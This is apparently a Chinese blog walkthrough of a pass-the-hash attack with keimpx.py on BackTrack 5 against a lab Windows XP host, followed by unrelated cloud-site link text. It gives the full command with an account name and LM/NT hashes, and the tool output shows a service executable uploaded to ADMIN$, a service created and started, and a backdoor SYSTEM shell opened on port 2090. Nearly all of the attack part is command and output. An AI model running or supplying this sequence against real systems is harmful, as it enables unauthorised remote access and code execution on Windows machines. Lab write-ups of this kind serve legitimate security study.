用bt5下的keimpx.py进行hash注入

简介: http://hi.baidu.com/myvbscript/blog/item/fd16413d24da6cf13c6d973d.html测试目标机器是winxp,ip:192.168.1.5。

http://hi.baidu.com/myvbscript/blog/item/fd16413d24da6cf13c6d973d.html

测试目标机器是winxp,ip:192.168.1.5。由于不是域机器,所以事先我关闭了防火墙和使用简单文件共享(打开我的文档->工具->文件夹选项->查看->去掉使用简单文件共享前的√)。

运行命令:

root@bt:/pentest/passwords/keimpx# ./keimpx.py -t 192.168.1.5 -v 1 -p 445 -U iishelp --nt=ccf9155e3e7db453aad3b435b51404ee --lm=3dbde697d71690a769204beb12283678

回显(其中以下的红字是让你选择的和我输的命令):

This product includes software developed by CORE Security Technologies

(http://www.coresecurity.com), Python Impacket library

 

    keimpx 0.2

    by Bernardo Damele A. G. <bernardo.damele@gmail.com>

    

[13:46:20] [INFO] Loading targets

[13:46:20] [INFO] Loading credentials

[13:46:20] [INFO] Loading domains

[13:46:20] [INFO] Loaded 1 unique targets

[13:46:20] [INFO] Loaded 1 unique credentials

[13:46:20] [INFO] No domains specified, using NULL domain

[13:46:20] [INFO] Attacking host 192.168.1.5:445

[13:46:20] [INFO] Valid credentials on 192.168.1.5:445: iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

[13:46:20] [INFO] Attack on host 192.168.1.5:445 finished

 

The credentials worked in total 1 times

 

TARGET SORTED RESULTS:

 

192.168.1.5:445

  iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

 

 

USER SORTED RESULTS:

 

iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

  192.168.1.5:445

 

Do you want to get a shell from any of the targets? [Y/n] 

Which target do you want to connect to?

[1] 192.168.1.5:445

> 1

Which credentials do you want to use to connect?

[1] iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

> 1

[13:46:35] [INFO] type 'help' for help menu

# help

Generic options

===============

help - show this message

verbosity {level} - set verbosity level (0-2)

info - list system information

exit - terminates the SMB session and exit from the tool

 

Shares options

==============

shares - list available shares

use {sharename} - connect to an specific share

cd {path} - changes the current directory to {path}

pwd - shows current remote directory

ls {path} - lists all the files in the current directory

cat {file} - display content of the selected file

download {filename} - downloads the filename from the current path

upload {filename} - uploads the filename into the current path

mkdir {dirname} - creates the directory under the current path

rm {file} - removes the selected file

rmdir {dirname} - removes the directory under the current path

 

Services options

================

deploy {service name} {local file} [service args] - deploy remotely a service executable

undeploy {service name} {remote file} - undeploy remotely a service executable

 

Shell options

=============

shell [port] - spawn a shell listening on a TCP port, by default 2090/tcp

 

Users options

=============

users [domain] - list users, optionally for a specific domain

pswpolicy [domain] - list password policy, optionally for a specific domain

domains - list domains to which the system is part of

 

Registry options (Soon)

================

regread {registry key} - read a registry key

regwrite {registry key} {registry value} - add a value to a registry key

regdelete {registry key} - delete a registry key

 

# shell

[13:47:09] [INFO] Uploading the service executable to 'ADMIN$\urakxn.exe'

[13:47:09] [INFO] Connecting to the SVCCTL named pipe

[13:47:09] [INFO] Creating the service 'Ynohkb'

[13:47:09] [INFO] Starting the service 'Ynohkb'

[13:47:09] [INFO] Connecting to backdoor on port 2090, wait..

Microsoft Windows XP [\ufffd\u6c7e 5.1.2600]

(C) \ufffd\ufffd\u0228\ufffd\ufffd\ufffd\ufffd 1985-2001 Microsoft Corp.

 

C:\WINDOWS\system32>



目录
相关文章
|
13天前
|
存储 弹性计算 人工智能
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
2025年9月24日,阿里云弹性计算团队多位产品、技术专家及服务器团队技术专家共同在【2025云栖大会】现场带来了《通用计算产品发布与行业实践》的专场论坛,本论坛聚焦弹性计算多款通用算力产品发布。同时,ECS云服务器安全能力、资源售卖模式、计算AI助手等用户体验关键环节也宣布升级,让用云更简单、更智能。海尔三翼鸟云服务负责人刘建锋先生作为特邀嘉宾,莅临现场分享了关于阿里云ECS g9i推动AIoT平台的场景落地实践。
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
|
4天前
|
云安全 人工智能 安全
Dify平台集成阿里云AI安全护栏,构建AI Runtime安全防线
阿里云 AI 安全护栏加入Dify平台,打造可信赖的 AI
|
12天前
|
人工智能 自然语言处理 自动驾驶
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知
|
7天前
|
人工智能 运维 Java
Spring AI Alibaba Admin 开源!以数据为中心的 Agent 开发平台
Spring AI Alibaba Admin 正式发布!一站式实现 Prompt 管理、动态热更新、评测集构建、自动化评估与全链路可观测,助力企业高效构建可信赖的 AI Agent 应用。开源共建,现已上线!
726 23
|
6天前
|
人工智能 Java Nacos
基于 Spring AI Alibaba + Nacos 的分布式 Multi-Agent 构建指南
本文将针对 Spring AI Alibaba + Nacos 的分布式多智能体构建方案展开介绍,同时结合 Demo 说明快速开发方法与实际效果。
460 39
|
12天前
|
编解码 自然语言处理 文字识别
Qwen3-VL再添丁!4B/8B Dense模型开源,更轻量,仍强大
凌晨,Qwen3-VL系列再添新成员——Dense架构的Qwen3-VL-8B、Qwen3-VL-4B 模型,本地部署友好,并完整保留了Qwen3-VL的全部表现,评测指标表现优秀。
738 7
Qwen3-VL再添丁!4B/8B Dense模型开源,更轻量,仍强大